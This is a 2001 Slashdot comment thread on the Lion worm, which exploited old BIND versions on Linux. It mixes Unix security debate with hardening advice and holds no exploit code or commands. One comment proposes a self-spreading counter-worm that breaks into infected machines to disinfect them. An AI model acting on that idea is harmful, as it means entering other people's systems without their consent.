    The X Window System catches a lot of criticism, some of it well-deserved. Most of it, however, is purely inane. It works very well, all things considered. Most of the technological deficiencies (i.e., mainly rendering technology) are resolved with modern extensions. Naturally, there are better ways to do it. We could have a much better architecture. But that's all hindsight. What we're looking at is not a transition that would be based on advantages, but on disadvantages. Until the limitations of the X Window System outstrip the convenience of using what's already there and well-supported, we have X. But Xfree86 is good enough for now. There might be alternatives in the future (Berlin, []).

    * the xterm gui-cli interface sucks

    I'm stumped. You determine that you need the CLI for some task while you're in the GUI. What better interface can you get than actually getting the CLI in the GUI? (Which is what Xterm does for you.)

    * all the shells suck ...

    They seem to have everything I need and want, and more. Filename completion (with cycling through potential matches), redirection (especially with file descriptors, as in bash), good line editing, conditions and looping, scripting, ... Maybe I'm thinking inside the box, but I can't think of anything that I've needed to do that hasn't been made easy (if not trivial) by some shell.

    * file system in *nix sucks

    Well, it's not as if every UNIX uses the same file system. I don't understand this claim, really. Are you arguing against heirarchical file systems or against the file systems themselves?

    * netscape in *nix sucks

    It performs very well for me, as do Mozilla ( []) and Konqueror (Konqueuror []). There's a lot of hype around Opera (Opera []), but I've never tried it. There are particular deficiencies in each of these, of course, but most of them perform the task of web browsing well enough. Not to forget, of course, Lynx (Lynx []).

    Anyway, there are legitimate issues. Standardized package management on Linux would be nice, ACLs/Capabilities would be nice... And I'm always up for a new Window Manager or Desktop Environment. I use Sawfish/GNOME (Sawfish, []; GNOME, []). But, eh, keep complaining: anything that gets me new toys to play with can't be too bad.

  • Why is it that whenever a M$ product get attacked by malware it's becase of crappy security in the OS, but when linux gets attacked it's because the OS has "finally arrived"? Hmmmm...
  • Good question!

    For single-vendor products (say Windows or Solaris), you can at least pretend that the vendor is a single source of information. The job that MS has done (shit poor) is one of the big reasons they get complained about so much.

    But Linux has no single source of information, no single point of contact, and so forth. The best bet in this case is to run a major distribution (say RedHat, for the sake of argument), and check their web sites.

    Is that a very good answer? Not really--it's only as good as the least of the Unix vendors. HP, for instance, patches security holes and the like so aggressively that even usenet is seldom ahead of them. Sun, on the other hand, is much slower, as is RedHat. Microsoft is appalling.

    NO operating system has a single point of information that's up to date, unfortunately. The decentralised nature of Linux makes it worse than most (boo, hiss! He said something bad about linux!!!! :-), but that's one of the reasons for vendors like RedHat. Unix in general has a problem as an end-user OS, because it allows you to royally screw yourself, if you so desire. It is not, never has been, and maybe never will be a luser OS--it requires knowledge and maintenance.

    Bottom line is this: If you're going to run *ix of any flavour, get "the Unix Administrator's Handbook" (Evi Nemeth et. al.) and start reading usenet. And depending on your need for security (i.e. how much data will you lose WHEN you get hacked), read at least the vendor's web site but ideally (sigh!) the sites for the individual services. wu-ftpd sendmail, bind, and so on.

    Yeah, it's a drag. That's security these days.

    If you want proper security and you're not willing to unattach yourself from the 'net, then consider running OpenBSD, possibly on a cheap P-166 or something like.

  • by IAmSancho (119617) on Friday March 23, 2001 @01:26PM (#344224) Homepage
    "Regardless, you should have tripwire or something running anyway."

    I'm so glad to see that CmdrTaco is promoting the proliferation of Linux into the community of average (read: "most") computer users with such a supportive, nurturing, and positive comment such as this. The arrogant tone of the comment makes me want to advise all of my non-expert computer using friends to download Mandrake, install it with no help from a Linux expert (it's so easy you don't need one anyway), and then proceed to use and learn it without any help from anyone, since it's so easy and intuitive. And, of course they'll all know to install tripwire "or something" because it's just that obvious.

    Thanks again, CmdrTaco; you are a true representative of the Linux community in everything you say and do.

  • This implies that the small utilities do that one thing really well. Well, I suppose svscan does one thing really well: generate MB/sec of error messages when it sees something it doesn't like, something trivial like a wrongly-named directory or a rightly-named directory in the wrong place. Seriously, it's like it was coded to stress-test syslog so it has zero error checking...

    News for geeks in Austin: []
  • See my "bastille" comment a few posts up. If you're using a redhat-derivative (RH, Mandrake, etc.), look in /etc/init.d or /etc/rc/init.d for the shell scripts that turn things on and off (e.g. /etc/init.d/named stop). Editing /etc/inetd.conf or /etc/xinetd.conf to comment out or remove the ability of the inetd-superserver to start up a connection to service X is another approach. Also see the program "ntsysv" on RH derivatives that gives you easy access to the "what starts on boot" list (hint: you can safely uncomment most of that list :) ). Note that some services (e.g. bind) run on their own continuously and some run on an as-needed, connection-oriented basis from (x)inetd (e.g. telnet, ftp) and some can run either way (ftp, ssh), the exact methods for disabling them depend...

    If you have an always on connection, consider getting a personal firewall (there are bazillions of them, I've had good luck with the Linksys ( series of products, has good (sub $100 for some models) prices on them). Even if you end up ditching linux it'll make your windows/whatever boxen on the home lan more secure.

    Long term, get yourself a good book on unix administration (the armadillo book from o'reilly is a good bet (author = aeleen frisch iirc)). Read the docs on the Linux Documentation Project, particularly the book-length opus on security and system performance tuning. ( is usually the mirror I use, I _think_ the home url is I know it seems like a mountain of information but give yourself 6 months or so and it'll all seem clear. (plus you can get a stable, reasonbly lucrative job doing it if you devote enough time to becoming an admin to do it well).

    News for geeks in Austin: []
  • by StandardDeviant (122674) on Friday March 23, 2001 @12:54PM (#344235) Homepage Journal

    You probably shouldn't be running bind (or anything else). Linux's security problems are almost always created by people leaving stuff up/on/open when they don't need to.

    If you're a newbie, here's a partial list of things you don't need to install or have running on your new workstation: bind/named, any form of mail server (esp. sendmail), atd, smbd/nmbd (samba), inetd, any form of ftp daemon (wuftpd, et al.), NFS/NIS/portmap, basically anything that provides a service to the outside world. Machines on "always-on" connections and not behind firewalls are of course the most vulnerable...

    The best policy is offering nothing, and only selectively opening up services as you need to. If you do have a machine that needs to provide a service, try to understand the service and the idiosyncracies of the server program before you offer it, and keep tabs on updates...

    Insert standard "wish-the-distros-would-wise-up-and-ship-closed-by -default-installations" thought here...

    News for geeks in Austin: []
  • by StandardDeviant (122674) on Friday March 23, 2001 @01:17PM (#344236) Homepage Journal

    Look into the Bastille project (search freshmeat). It's intended to run on a virgin install IIRC, fixes security holes and tells you what it's doing and why.

    News for geeks in Austin: []
  • by SpanishInquisition (127269) on Friday March 23, 2001 @12:49PM (#344240) Homepage Journal
    GNU/Linux Worm?
  • Before starting, it is helpful to NOT review any Linux/Unix/Security books or websites, since they will warn you about checking for service vulnerabilities. It is imperative that you don't review:
    a) basic server security concepts;
    b) your distros recent upgrade/patches (for the last two months);
    c) reasons to run bind and how to do it safely.

    Here's how to make your machine vulerable to LION:

    1) Install a Linux distro.

    2) Install bind, but make sure you don't install a recent version! Recent versions won't let LION in!

    3) Don't install any of your distos security updates/patches.

    4) Finally, connect this machine directly to the internet w/o a firewall -- it's crucial that people on the 'net be able to access your nameserver.

    If you follow all these steps, your Linux machine is vulnerable to the "Lion" worm. If your Linux machine does not get infected, please review all the above steps and try again.

  • Actually, I wish you'd expand on your comment a little. I'm quite the amateur with Linux. I decided to put up an FTP server because it's useful, and it was easy. Sendmail also. Closed most of the rest.

    But here's my question, and what I hope you (or some other kind soul) will point me to: to me, as you suggested, it isn't "that obvious" why my machine may be insecure in oh so many ways. If I decide to turn on a bunch of other services, for example, my system will probably be exploitable as all hell. But where's the best place to find out about all this? Do I need to go to the web page for my ftp daemon, and another web page for sendmail, and some other web page for security alerts, and so on and so forth? Or are there a few pages that are pretty good about keeping your box secure?

    After I'm done securing my system, I'll go fix those Netscape fonts. Should be pretty easy.... :P
  • A more legitimate qualm with the *nix model is that it is coarse-grained.

    That is why it sucks, because it is too coarse grained.

    The X Window System catches a lot of criticism, some of it well-deserved.

    The biggest problem with X-windows is that it requires a powerful and intelligent terminal which then is treated like a dumb device. OS X has improved on this. (I gave up on berlin when they spent a few months implementing alpha transparency.)

    What better interface can you get than actually getting the CLI in the GUI?

    The CLI is completely unaware that there is a GUI out there. See XMLterm for the proper way to create a CLI inside a graphical user interface.

    They seem to have everything I need and want, and more.

    The main shells are missing a ton of things. Here's a simple one: Not remembering recently used files without full path qualification (something norton commander supported ten years ago). Here's another one: default configuration often sucks. I've used many and the default shell often has file completion off and history off. Not to talk about the whole backspace/delete rigamarole. Imagine what you would say if Microsoft Word started with the delete key disabled...

    File system sucks

    Are you arguing against heirarchical file systems or against the file systems themselves?

    What I'm refering to here is the lack of user defined attributes on the file system, such as "this file can only be opened with application XYZ". Mainframes had those in the 60's, WinNT has user defined attributes, how long until *nix supports those by default?

    But, eh, keep complaining: anything that gets me new toys to play with can't be too bad.

    That's the point. Create an itch, then address it.

  • ctually, mainframes didn't get those sorts of attributes until the 70's

    Ah ok. That makes it alright then.... (NOT)

    If you want compartmentalization, ACLs, a privacy model, malcode capabilities, etc., then go to, patch your kernel and stop bitching.

    Predictable. The usual copout of the Linux user: Just download pacakge XYZ.

    Yeap, when you buy a car and it has no breaks, you don't go to the dealer and complain. No you simply walk over to Napa spare parts and download some new brakes. After all why should one assume that things should work out of the box?

    That is how high the quality bar has been set by Linux dittoheads: if it doesn't work out of the box is your fault.

  • Cars require breaks in order to function safely and effectively.

    I see now the error of my ways. Car require breaks, but an OS which is touted as the best medium size web server available does not require decent security or a decent file system... No siree, you need to download it from some place else, after all why would a web server need to be secure?

  • Breaks for cars are essential, we both agree, but having the backspace/delete keys work properly is an add-on that according to you shouldn't work out of the box...

    We are not talking here about some specialized mathematical simulation software. We are talking about the security model of an OS which is touted as the system of choice for web servers, or the delete/backspace keys, which, last I checked, are used often.

    To you those things are optional, which only confirms my point: when Linux sucks, the dittoheads copout with "just add package XYZ".

  • by Alomex (148003) on Friday March 23, 2001 @02:28PM (#344252) Homepage
    If people stopped giving root God-like powers then problems like this wouldn't crop up.

    This is one way in which Linux/Unix sucks. The security model is brain dead. It might look good compared to Windoze, but if you have ever used a mainframe you would know what I'm talking about.

    Yet the Linux community seems more interested in pointing out the ways in which Linux is better than Windows instead of adressing real concerns with the *nix model... (Miguel de Icaza being the exception that proves the rule).

    Here's a list

    • Security in *nix sucks
    • X-windows sucks
    • the xterm gui-cli interface sucks
    • all the shells suck (with the possible exception of zsh).
    • file system in *nix sucks
    • netscape in *nix sucks
    any others?

    Flame away

  • Outlook automatically executes the virus for you using a built-in scripter that has full access to your system. How is Linux crappier than that?
  • Well that's all right then, so long as it's just those dumbass home users. What an arrogant statement. The whole Outlook virus problem is down to Microsoft and Microsoft alone, and I think they would be less despised if they just admitted it was a bad idea instead of blaming the user. But then they've got a monopoly on the desktop so to hell with their paying customers.
  • by jargoone (166102) on Friday March 23, 2001 @12:58PM (#344262)
    I managed to find a patch. You can download it here [].

    Kidding, kidding. But only half. Maybe not even half.

  • Linux? I wasn't aware that this was a kernel exploit.

    Linux is *not* an operating system, it's a kernel.

  • Machines on always-on connections are no more vulnerable than machines on dial-up. However, these machines are more likely to be attacked because they always have a network connection.

    Well, yes and no. I know with a dial-up box, I'm less vulnerable to extended attacks (the evil cracker rooted my box, installed 12 backdoors, but couldn't find it again) and I'm more likely to notice an attack in progress (gee, the modem lights're blinking even though I'm not downloading anything).

    However, that being said, dynamic IP "security" should be lumped into the same boat as "security through obscurity" -- all other things being equal, they help (admittedly, I'm stretching that "being equal" a bit to cover an equal amount of scrutiny for the obscured procedure as it would've gotten out in the open), but it's considered very bad form to rely on them as actual security.

  • It's unfair to compare BIND 8, which still carries a lot of code baggage from the 80's and early 90's ("buffer overflow? what's that?") to djbdns. A better comparison is between BIND 9, which is a total rewrite (released but still undergoing some stabilization and optimization tweaks), and djbdns. Especially note the standards conformance. DJB implements whichever standards happen to take his fancy, and just ignores the rest. Charming. And BIND 9 was written to be totally multi-threaded. That's a lot of "heavy lifting", code-wise. I doubt very much that djbdns will be able to scale as well as the finished version of BIND 9 will.

    As for the latest (January 29) vulnerability (TSIG), and the worm that now exploits it, this is just yet another reason to run "named" unprivileged and chroot()'ed, and to keep up to date with advisories and patches...

    As for the "$500 cash reward" for finding a security hole in djbdns, don't forget to read the fine print in the guarantee []: "My judgment is final as to what constitutes a security hole in djbdns". Feh!

    My ancestors evolved from primordial ooze, and all I got was this lousy Existential Angst!

  • Not mentioned in the SANS report but in the NIPC advisory [] the trojan also installs the Tribe tfn2k flood util, giving this the potential to launch a massive DoS attack.

  • This thing can be extra nasty because of the root kit, but almost anyone will notice the extra services running. Although people with old versions of bind should upgrade, its just common sense now. You might of been able to get away with an old version before now, but with this it would be a pain to have to rebuild the box.
  • Maybe IIS 4 worked that way, but that's not how things work on my Windows 2000 box.

    Look, go into the Services, right-click on one, select the "Log On" tab, then tell me what you see there.... yup, that's right. You can select what security context the process runs under, which carries all the associated rights and/or restrictions.
    -- russ

    "You want people to think logically? ACK! Turn in your UID, you traitor!"
  • by rabtech (223758) on Friday March 23, 2001 @01:54PM (#344293) Homepage
    No, this is not the case. There is an account called "Local System", but services exposed to the outside usually don't run under that context -- they run under another context. There is an attribute for each user that says "Allow to log on as a service."

    IIS creates a user, usually called IUSR_machinename, which is the process under which IIS runs. Therefore, if I restrict that user from accessing anything but the INETPUB directory, including utils like CMD.EXE, system files, etc...., then even if someone can get in under that process, they won't be able to do much.

    Then again, that's the flexibility you get when you have true file ACLs and can run services under separate security contexts.
    -- russ

    "You want people to think logically? ACK! Turn in your UID, you traitor!"
  • by sucko (257144) on Friday March 23, 2001 @12:55PM (#344303) Homepage
    "Seems Linux has very much arrive judging by the number of nasty virus starting to pop up....
    Only the true zelot can turn a bad news item, like a new worm into good news...
  • 1.) The scripting language used in Outlook, VBS(Virus Builder Script), can take advantage of the fact that *every* process in 95/98/ME runs as the "administrator" and can modify any file it wants to. This would be a windows problem.

    Most NT/2000 admins add the end user of a workstation to the administrator group because most PC users are not used to dealing with file perms or a multiuser OS. This would be an expectation problem. (managing expectations is a bitch).

    The problems with Outlook have been solved by adding a warning box.

    In either case mentioned above a hostile program , ran by an end user can change *any* system file it wants to. This would not be possible on a OS based on Unix.

    2.) This is a BIND problem that only effects x86 linux platforms because that is what the binaries of the rootkit were compiled for. This problem could potentially effect every *nix AND win32 based systems that run BIND. The main problem here is that BIND runs as root. This situation can be fixed by: upgrading to a newer version of BIND, by running djbdns, by running a chrooted BIND, etc.
  • by geomcbay (263540) on Friday March 23, 2001 @02:16PM (#344306)
    Why does Slashdot post about this worm? The source code for it isnt even available and the worm isn't GPL!!!

    Why would I want to run a closed source worm on my system???

  • by deran9ed (300694) on Friday March 23, 2001 @01:00PM (#344308) Homepage

    FreeVeracity []

    Tripwire is now a pay for play product, so I suggest using something like this which is open source/free and just as good

    Secret Mir Casualty [space.cnn.comquery]
  • I noticed in the article that a partial fix
    (LionFind) has been released. So, I have to ask...
    why not write LionFind so it can break into
    machines infected by Lion through the security
    hole created by Lion, inform the machine's owner,
    close the hole, and then use that box to look for
    the next box to disinfect?

    Signature temporarily unavailable. Please try again.
  • Linux is a strong OS but as it has grown in popularity and usage did anybody really doubt that people would start to create viruses and other nusiances that could be intrinsically more dangerous then existing win viruses? It just goes to show that a bare install can be dangerously compromised by any amatuer and as such linux really should be run by professionals who know what they are doing.. i mean how many of you still come across people running as ROOT???

Gosh that takes me back... or is it forward? That's the trouble with time travel, you never can tell." -- Doctor Who, "Androids of Tara"